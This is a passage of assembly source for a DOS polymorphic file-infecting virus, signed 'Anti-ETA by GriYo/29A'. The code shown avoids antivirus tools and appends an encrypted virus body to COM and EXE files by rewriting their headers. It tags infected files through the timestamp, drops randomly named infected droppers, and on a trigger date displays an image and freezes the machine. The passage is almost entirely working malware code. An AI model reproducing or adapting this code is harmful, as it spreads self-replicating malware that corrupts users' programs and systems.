Infect files only jne exit_inf ; in current drive mov bx,si ; Position of \ mov dx,si ; For later use mov cx,0080h ; Max path cld next_char: lodsb ; Get character cmp al,"\" je found_slash or al,al ; End of string? je found_00h cmp al,"V" ; Is char a V? je exit_inf cmp al,"0" ; Is char a digit? jb ok_character cmp al,"9" jbe exit_inf ok_character: loop next_char jmp short exit_inf found_slash: mov bx,si jmp short ok_character found_00h: mov eax,dword ptr ds:[bx] ; Get file name cmp ax,"BT" ; Thunderbyte utils? je exit_inf cmp eax,"NACS" ; SCAN.EXE? je exit_inf cmp eax,".NIW" ; WIN.COM? je exit_inf cmp eax,"MMOC" ; COMMAND.COM? je exit_inf mov eax,dword ptr ds:[si-05h] ; Get extension cmp eax,"MOC." ; Is it a COM file? je go_into_file cmp eax,"EXE." ; What about EXE? je go_into_file exit_inf: call free_24h_03h ; Restore ints jmp exit21h ; 3, 24h and exit go_into_file: mov ax,4300h ; Get file attrib int 03h jc exit_inf mov word ptr ds:[file_attr],cx ; Save it mov ax,4301h ; Clear attributes xor cx,cx int 03h jc exit_inf mov ax,3D02h ; Open file r/w int 03h jnc save_date_time file_error_1: mov ax,4301h ; Restore saved mov cx,word ptr ds:[file_attr] ; file attribute int 03h jmp short exit_inf save_date_time: xchg bx,ax ; Get handle mov ax,5700h ; Get date/time int 03h jnc done_date_time file_error_2: mov ah,3Eh ; If error, close int 03h ; file and restore jmp short file_error_1 ; attribute done_date_time: mov word ptr ds:[file_time],cx ; Save file time mov word ptr ds:[file_date],dx ; Save file date and cl,1Fh ; Check if file is cmp cl,0Ah ; already infected je file_error_3 mov ah,3Fh ; Read file header mov cx,001Ch mov dx,offset inf_header mov si,dx int 03h jc file_error_3 call seek_end ; Seek to EOF and jc file_error_3 ; get file size mov ax,word ptr ds:[file_size] mov dx,word ptr ds:[file_size+02h] or dx,dx jnz ok_min_size cmp ax,inf_byte_size ; Too small file? jb file_error_3 ok_min_size: mov ax,word ptr ds:[si] add al,ah cmp al,"M"+"Z" je inf_exe_file jmp inf_com_file file_error_3: mov ax,5701h mov cx,word ptr ds:[file_time] ; Restore time mov dx,word ptr ds:[file_date] ; And date int 03h jmp file_error_2 ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Infect COM files ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ inf_com_file: or dx,dx ; Huh? this COM jnz file_error_3 ; file is strange... mov ax,word ptr ds:[file_size] ; Avoid too big COM cmp ax,0FFFFh-(inf_byte_size+02h) ; files jae file_error_3 call backup_header ; Save header sub ax,03h ; Write a jump mov byte ptr ds:[si+00h],0E9h ; to the viral code mov word ptr ds:[si+01h],ax add ax,0103h mov word ptr ds:[delta],ax ; Save delta offsets mov dword ptr ds:[host_type],".COM" ; Set host type jmp write_body ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Infect EXE files ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ inf_exe_file: cmp word ptr ds:[si+19h],0040h ; Avoid Windows shit jae file_error_3 cmp word ptr ds:[si+1Ah],0000h ; Avoid overlays jne file_error_3 cmp word ptr ds:[si+0Ch],0FFFFh ; Check maxmem jne file_error_3 call backup_header ; Save header push word ptr ds:[si+14h] ; Build a jump to pop word ptr ds:[exe_ip_cs] ; the original entry push word ptr ds:[si+16h] ; point pop word ptr ds:[exe_ip_cs+02h] mov ax,word ptr ds:[file_size] ; Get file size mov dx,word ptr ds:[file_size+02h] ; div 0010h mov cx,0010h div cx sub ax,word ptr ds:[si+08h] ; Sub header size mov word ptr ds:[si+14h],dx ; New entry point at mov word ptr ds:[si+16h],ax ; file end mov word ptr ds:[delta],dx ; Save delta offset inc ax ; New stack segment mov word ptr ds:[si+0Eh],ax ; in load module add dx,inf_byte_size+0200h ; Move stack pointer and dx,0FFFEh ; using word aligment mov word ptr ds:[si+10h],dx mov ax,word ptr ds:[file_size] ; Get file size mov dx,word ptr ds:[file_size+02h] ; div 0200h mov cx,0200h div cx or dx,dx jz size_round_1 inc ax size_round_1: cmp ax,word ptr ds:[si+04h] ; Check if file jne exit_header ; size is as header cmp dx,word ptr ds:[si+02h] ; says je ok_file_size exit_header: jmp file_error_3 ok_file_size: mov dword ptr ds:[host_type],".EXE" ; Set host type ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Append virus body to our victim ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ write_body: push bx mov si,inf_para_size*02h ; Allocate memory call mem_alloc ; for poly decryptor pop bx ; and virus body or di,di jz no_memory push bx mov es,di xor di,di call gen_polymorph add word ptr ds:[delta],di ; Save delta offset mov ax,word ptr ds:[eng_entry_point] mov si,offset inf_header cmp dword ptr ds:[host_type],".EXE" je fix_exe fix_com: add word ptr ds:[si+01h],ax ; Add to jmp jmp short entry_size_fix fix_exe: add word ptr ds:[si+14h],ax ; Add to IP mov ax,word ptr ds:[file_size] ; Get file size mov dx,word ptr ds:[file_size+02h] add ax,inf_byte_size ; Add virus size adc dx,0000h ; to file size add ax,di ; Add decryptor size adc dx,0000h ; to file size mov cx,0200h ; Get infected file div cx ; size div 0200h or dx,dx jz size_round_2 inc ax size_round_2: mov word ptr ds:[si+02h],dx ; Store new size mov word ptr ds:[si+04h],ax ; on header entry_size_fix: xor si,si mov cx,inf_byte_size rep movsb push di push es pop ds call crypto03h ; Crypt area 03h call crypto02h ; Crypt area 02h call crypto01h ; Crypt area 01h call gen_encryption mov ah,40h ; Write virus body pop cx ; at EOF pop bx xor dx,dx int 03h jc no_write call seek_begin push cs pop ds mov ah,40h ; Write infected mov cx,001Ch ; header mov dx,offset inf_header int 03h mov al,byte ptr ds:[file_time] ; Mark file as and al,0E0h ; infected using or al,0Ah ; time stamp mov byte ptr ds:[file_time],al ; (seconds=0Ah) no_write: mov ah,49h ; Free allocated int 03h ; memory push cs pop ds mov word ptr ds:[crypt_delta],0000h ; Clear crypt delta no_memory: jmp file_error_3 ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Time for activation? ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ try_activation: db 0EBh,00h ; Clear prefetch mov ah,04h ; Check if time int 1Ah ; to activate cmp dx,0710h jne drop_virus ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Activation routine ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ do_payload: mov ax,0013h ; Set video mode int 10h ; 320x200x256c mov ax,0A000h ; Decompress our mov es,ax ; image over video mov si,offset image_data ; memory xor di,di mov cx,100 ; 100 scan lines loop_compress: push cx mov cx,20 next_string: push cx lodsb mov dl,al mov cx,8 ; Get 8 pixels compress_byte: xor al,al test dl,128 jz pixel_ready mov al,07h pixel_ready: push di add di,320 stosb stosb pop di stosb stosb shl dl,01h loop compress_byte ; Next pixel pop cx ; Next 8 byte group loop next_string pop cx ; Next scan add di,320 loop loop_compress stay_quiet: jmp stay_quiet ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Image for the virus payload (white hand) ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ image_data equ this byte db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h db 001h,0FEh,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h db 000h,000h,000h,000h,000h,000h,007h,0FEh,000h,000h,000h,000h,000h,000h db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,00Fh,0FEh db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h db 000h,000h,000h,000h,03Fh,0FEh,000h,000h,000h,000h,00Fh,0F0h,000h,000h db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,07Fh,0FEh,000h,000h db 000h,000h,0FFh,0F8h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h db 000h,001h,0FFh,0FEh,000h,000h,000h,001h,0FFh,0F8h,000h,000h,000h,000h db 000h,000h,000h,000h,000h,000h,000h,003h,0FFh,0FCh,000h,000h,000h,003h db 0FFh,0F8h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,00Fh db 0FFh,0FCh,000h,000h,000h,00Fh,0FFh,0F8h,000h,000h,000h,000h,000h,000h db 000h,000h,000h,000h,000h,01Fh,0FFh,0FCh,000h,000h,000h,03Fh,0FFh,0F8h db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,03Fh,0FFh,0FCh db 000h,000h,000h,0FFh,0FFh,0F0h,000h,000h,000h,000h,000h,000h,000h,000h db 000h,000h,000h,07Fh,0FFh,0FCh,000h,000h,003h,0FFh,0FFh,0F0h,000h,000h db 000h,000h,000h,000h,000h,000h,000h,000h,000h,0FFh,0FFh,0F8h,000h,000h db 00Fh,0FFh,0FFh,0E0h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h db 001h,0FFh,0FFh,0F0h,000h,000h,03Fh,0FFh,0FFh,0E0h,000h,000h,000h,000h db 000h,000h,000h,000h,000h,000h,003h,0FFh,0FFh,0E0h,000h,000h,07Fh,0FFh db 0FFh,080h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,01Fh,0FFh db 0FFh,0C0h,000h,001h,0FFh,0FFh,0FFh,000h,000h,000h,000h,000h,000h,000h db 000h,000h,000h,000h,03Fh,0FFh,0FFh,0C0h,000h,007h,0FFh,0FFh,0FCh,000h db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,07Fh,0FFh,0FFh,080h db 000h,01Fh,0FFh,0FFh,0F8h,000h,000h,000h,000h,000h,000h,000h,000h,000h db 000h,000h,07Fh,0FFh,0FEh,000h,000h,03Fh,0FFh,0FFh,0F0h,000h,000h,000h db 000h,000h,000h,000h,000h,000h,000h,000h,0FFh,0FFh,0FCh,000h,000h,0FFh db 0FFh,0FFh,0C0h,000h,003h,0F0h,000h,000h,000h,000h,000h,000h,000h,003h db 0FFh,0FFh,0F8h,000h,001h,0FFh,0FFh,0FFh,080h,000h,01Fh,0F8h,000h,000h db 000h,000h,000h,000h,000h,00Fh,0FFh,0FFh,0F0h,000h,003h,0FFh,0FFh,0FFh db 000h,001h,0FFh,0F8h,000h,000h,000h,000h,000h,000h,000h,01Fh,0FFh,0FFh db 0C0h,000h,007h,0FFh,0FFh,0FCh,000h,007h,0FFh,0F0h,000h,000h,000h,000h db 000h,000h,000h,01Fh,0FFh,0FFh,080h,000h,01Fh,0FFh,0FFh,0E0h,000h,03Fh db 0FFh,0F0h,000h,000h,000h,000h,000h,000h,000h,07Fh,0FFh,0FFh,000h,000h db 03Fh,0FFh,0FFh,080h,000h,07Fh,0FFh,0E0h,000h,000h,000h,000h,000h,000h db 000h,0FFh,0FFh,0FEh,000h,003h,0FFh,0FFh,0FEh,000h,001h,0FFh,0FFh,0C0h db 000h,000h,000h,000h,000h,000h,001h,0FFh,0FFh,0FEh,000h,007h,0FFh,0FFh db 0F8h,000h,003h,0FFh,0FFh,0C0h,000h,000h,000h,000h,000h,000h,001h,0FFh db 0FFh,0FCh,000h,00Fh,0FFh,0FFh,0F0h,000h,007h,0FFh,0FFh,080h,000h,000h db 000h,000h,000h,000h,003h,0FFh,0FFh,0F8h,000h,03Fh,0FFh,0FFh,0E0h,000h db 01Fh,0FFh,0FEh,000h,000h,000h,000h,000h,000h,000h,003h,0FFh,0FFh,0E0h db 000h,07Fh,0FFh,0FFh,0C0h,000h,07Fh,0FFh,0F8h,000h,000h,000h,000h,000h db 000h,000h,007h,0FFh,0FFh,0C0h,000h,0FFh,0FFh,0FFh,000h,001h,0FFh,0FFh db 0F0h,000h,000h,000h,000h,000h,000h,000h,00Fh,0FFh,0FFh,080h,001h,0FFh db 0FFh,0FCh,000h,003h,0FFh,0FFh,0E0h,000h,000h,000h,000h,000h,000h,000h db 03Fh,0FFh,0FCh,000h,007h,0FFh,0FFh,0F8h,000h,00Fh,0FFh,0FFh,000h,000h db 000h,000h,000h,000h,000h,000h,07Fh,0FFh,0F8h,000h,00Fh,0FFh,0FFh,0F0h db 000h,01Fh,0FFh,0FFh,000h,000h,000h,000h,000h,000h,000h,000h,07Fh,0FFh db 0F8h,000h,0FFh,0FFh,0FFh,0E0h,000h,07Fh,0FFh,0FEh,000h,000h,000h,000h db 000h,000h,000h,000h,07Fh,0FFh,0FCh,03Fh,0FFh,0FFh,0FFh,000h,003h,0FFh db 0FFh,0FCh,000h,000h,000h,000h,000h,000h,000h,000h,0FFh,0FFh,0FFh,0FFh db 0FFh,0FFh,0FEh,000h,00Fh,0FFh,0FFh,0F8h,000h,000h,000h,000h,000h,000h db 000h,001h,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0F8h,000h,01Fh,0FFh,0FFh,0F0h db 000h,000h,000h,000h,000h,000h,000h,007h,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh db 0F0h,001h,0FFh,0FFh,0FFh,0E0h,000h,003h,0F0h,000h,000h,000h,000h,00Fh db 0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0E0h,007h,0FFh,0FFh,0FFh,080h,000h,00Fh db 0FCh,000h,000h,000h,000h,01Fh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0E0h,0FFh db 0FFh,0FFh,0FFh,000h,000h,03Fh,0FCh,000h,000h,000h,000h,03Fh,0FFh,0FFh db 0FFh,0FFh,0FFh,0FFh,0EFh,0FFh,0FFh,0FFh,0FCh,000h,000h,07Fh,0FCh,000h db 000h,000h,000h,03Fh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh db 0E0h,000h,000h,0FFh,0F8h,000h,000h,000h,000h,07Fh,0FFh,0FFh,0FFh,0FFh db 0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0C0h,000h,007h,0FFh,0F8h,000h,000h,000h db 000h,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,000h,000h db 0FFh,0FFh,0F8h,000h,000h,000h,001h,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh db 0FFh,0FFh,0FFh,0FEh,000h,001h,0FFh,0FFh,0F8h,000h,000h,000h,003h,0FFh db 0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0F8h,000h,003h,0FFh,0FFh db 0F8h,000h,000h,000h,007h,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh db 0FFh,0C0h,000h,03Fh,0FFh,0FFh,0F0h,000h,000h,000h,00Fh,0FFh,0FFh,0FFh db 0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,000h,007h,0FFh,0FFh,0FFh,0E0h,000h db 000h,000h,01Fh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0F8h,000h db 07Fh,0FFh,0FFh,0FFh,0C0h,000h,000h,000h,03Fh,0FFh,0FFh,0FFh,0FFh,0FFh db 0FFh,0FFh,0FFh,0FFh,0F0h,000h,0FFh,0FFh,0FFh,0FFh,000h,000h,000h,000h db 0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,000h,003h,0FFh,0FFh db 0FFh,0FCh,000h,000h,000h,003h,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh db 0FFh,0F8h,000h,01Fh,0FFh,0FFh,0FFh,0E0h,000h,000h,000h,003h,0FFh,0FFh db 0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0F0h,001h,0FFh,0FFh,0FFh,0FFh,080h db 000h,000h,000h,007h,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0E0h db 007h,0FFh,0FFh,0FFh,0FEh,000h,000h,000h,000h,007h,0FFh,0FFh,0FFh,0FFh db 0FFh,0FFh,0FFh,0FFh,0FFh,0E0h,01Fh,0FFh,0FFh,0FFh,0F8h,000h,000h,000h db 000h,007h,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0E0h,07Fh,0FFh db 0FFh,0FFh,0C0h,000h,000h,000h,000h,007h,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh db 0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,080h,000h,000h,000h,000h,00Fh db 0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FCh db 000h,000h,000h,000h,000h,01Fh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh db 0FFh,0FFh,0FFh,0FFh,0FFh,0F8h,000h,000h,000h,000h,000h,03Fh,0F0h,0F1h db 0C8h,004h,07Fh,0FEh,002h,001h,087h,0FFh,0FFh,0FFh,0FFh,0E0h,000h,000h db 000h,000h,000h,07Fh,0F0h,071h,0C8h,004h,07Fh,0FEh,002h,001h,007h,0FFh db 0FFh,0FFh,0FFh,080h,000h,000h,000h,000h,000h,0FFh,0E0h,070h,0CFh,01Ch db 07Fh,0FEh,03Fh,08Fh,003h,0FFh,0FFh,0FFh,0FFh,000h,000h,000h,000h,000h db 001h,0FFh,0E2h,070h,04Fh,01Ch,07Fh,0FEh,003h,08Fh,023h,0FFh,0FFh,0FFh db 0FEh,000h,000h,000h,000h,000h,001h,0FFh,0E2h,032h,00Fh,01Ch,07Ch,03Eh db 003h,08Eh,023h,0FFh,0FFh,0FFh,0F8h,000h,000h,000h,000h,000h,001h,0FFh db 0C0h,033h,00Fh,01Ch,07Ch,03Eh,03Fh,08Eh,001h,0FFh,0FFh,0FFh,0C0h,000h db 000h,000h,000h,000h,001h,0FFh,0C0h,013h,08Fh,01Ch,07Fh,0FEh,003h,08Ch db 001h,0FFh,0FFh,0FFh,080h,000h,000h,000h,000h,000h,001h,0FFh,0C7h,013h db 08Fh,01Ch,07Fh,0FEh,003h,08Ch,071h,0FFh,0FFh,0F0h,000h,000h,000h,000h db 000h,000h,001h,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh db 0FFh,0E0h,000h,000h,000h,000h,000h,000h,001h,0FFh,0FFh,0FFh,0FFh,0FFh db 0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,000h,000h,000h,000h,000h,000h,000h db 001h,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0F8h,000h db 000h,000h,000h,000h,000h,000h,001h,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh db 0FFh,0FFh,0FFh,0FFh,0E0h,000h,000h,000h,000h,000h,000h,000h,001h,0FFh db 0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,080h,000h,000h,000h db 000h,000h,000h,000h,000h,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh db 0FFh,0F8h,000h,000h,000h,000h,000h,000h,000h,000h,000h,0FFh,0FFh,0FFh db 0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0E0h,000h,000h,000h,000h,000h,000h db 000h,000h,000h,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,080h db 000h,000h,000h,000h,000h,000h,000h,000h,000h,07Fh,0FFh,0FFh,0FFh,0FFh db 0FFh,0FFh,0FFh,0FFh,0FFh,000h,000h,000h,000h,000h,000h,000h,000h,000h db 000h,03Fh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0F8h,000h,000h,000h db 000h,000h,000h,000h,000h,000h,000h,01Fh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh db 0FFh,0FFh,0E0h,000h,000h,000h,0FFh,0C0h,000h,000h,000h,000h,000h,007h db 0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0E0h,000h,001h,0FFh,0FFh,0E0h db 000h,000h,000h,000h,000h,007h,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh db 0E0h,000h,03Fh,0FFh,0FFh,0E0h,000h,000h,000h,000h,000h,007h,0FFh,0FFh db 0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0E0h,003h,0FFh,0FFh,0FFh,0E0h,000h,000h db 000h,000h,000h,003h,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0C0h,03Fh db 0FFh,0FFh,0FFh,0E0h,000h,000h,000h,000h,000h,001h,0FFh,0FFh,0FFh,0FFh db 0FFh,0FFh,0FFh,0FFh,0C0h,07Fh,0FFh,0FFh,0FFh,0E0h,000h,000h,000h,000h db 000h,000h,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0E1h,0FFh,0FFh,0FFh db 0FFh,0C0h,000h,000h,000h,000h,000h,000h,007h,0FFh,0FFh,0FFh,0FFh,0FFh db 0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0C0h,000h,000h,000h,000h,000h,000h db 003h,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,000h db 000h,000h,000h,000h,000h,000h,003h,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh db 0FFh,0FFh,0FFh,0FFh,0FCh,000h,000h,000h,000h,000h,000h,000h,003h,0FFh db 0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0F8h,000h,000h,000h db 000h,000h,000h,000h,001h,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh db 0FFh,0FFh,0C0h,000h,000h,000h,000h,000h,000h,000h,001h,0FFh,0FFh,0FFh db 0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,080h,000h,000h,000h,000h,000h db 000h,000h,001h,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FEh db 000h,000h,000h,000h,000h,000h,000h,000h,000h,0FFh,0FFh,0FFh,0FFh,0FFh db 0FFh,0FFh,0FFh,0FFh,0FFh,000h,000h,000h,000h,000h,000h,000h,000h,000h db 000h,07Fh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0C0h,000h,000h,000h db 000h,000h,000h,000h,000h,000h,000h,03Fh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh db 0FFh,0FEh,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,03Fh db 0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FCh,000h,000h,000h,000h,000h,000h db 000h,000h,000h,000h,000h,00Fh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FEh,000h db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,001h,0FFh,0FFh db 0FFh,0FFh,0FEh,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h db 000h,000h,000h,000h,0FFh,0FFh,0FFh,000h,000h,000h,000h,000h,000h,000h db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ ID string ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ id_string db "<< Anti-ETA by GriYo/29A >>" ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Create a virus dropper in the current directory ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ drop_virus: call get_rnd or al,al jnz do_not_gen mov ax,cs mov ds,ax mov es,ax call hook_24h_03h mov ax,0004h call rand_in_range inc ax inc ax mov cx,ax mov di,offset dropper_name push di cld generate_name: mov ax,0019h call rand_in_range add al,41h stosb loop generate_name mov eax,"MOC." mov dword ptr ds:[di],eax mov dword ptr ds:[di+04h],00h pop dx mov ah,3Ch xor cx,cx int 03h jc exit_generator mov dword ptr ds:[host_type],"DROP" ; Set host type mov word ptr ds:[delta],0100h ; Save delta offset xchg bx,ax push bx mov si,inf_para_size*02h ; Allocate memory call mem_alloc ; for a virus copy pop bx ; and the virus body or di,di jz cant_drop push bx mov es,di xor di,di call gen_polymorph add word ptr ds:[delta],di ; Save delta offset xor si,si mov cx,inf_byte_size rep movsb push di push es pop ds call crypto03h ; Crypt area 03h call crypto02h ; Crypt area 02h call crypto01h ; Crypt area 01h call gen_encryption mov ah,40h ; Write virus pop cx ; dropper pop bx sub dx,dx int 03h jc oh_shit mov ah,2Ah ; Get current year int 03h mov ax,cx sub ax,07BCh ; Years from 1980 call rand_in_range shl al,1 mov dh,al call get_rnd ; Get random date and al,0FEh mov dl,al call rand_16 ; Get random time and ax,7BE0h or al,0Ah ; Mark as infected mov cx,ax mov ax,5701h int 03h oh_shit: mov ah,49h ; Free allocated int 03h ; memory push cs pop ds mov word ptr ds:[crypt_delta],0000h ; Clear crypt delta cant_drop: mov ah,3Eh ; Close file int 03h exit_generator: call free_24h_03h do_not_gen: jmp exit21h ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Make a copy of file header ³ 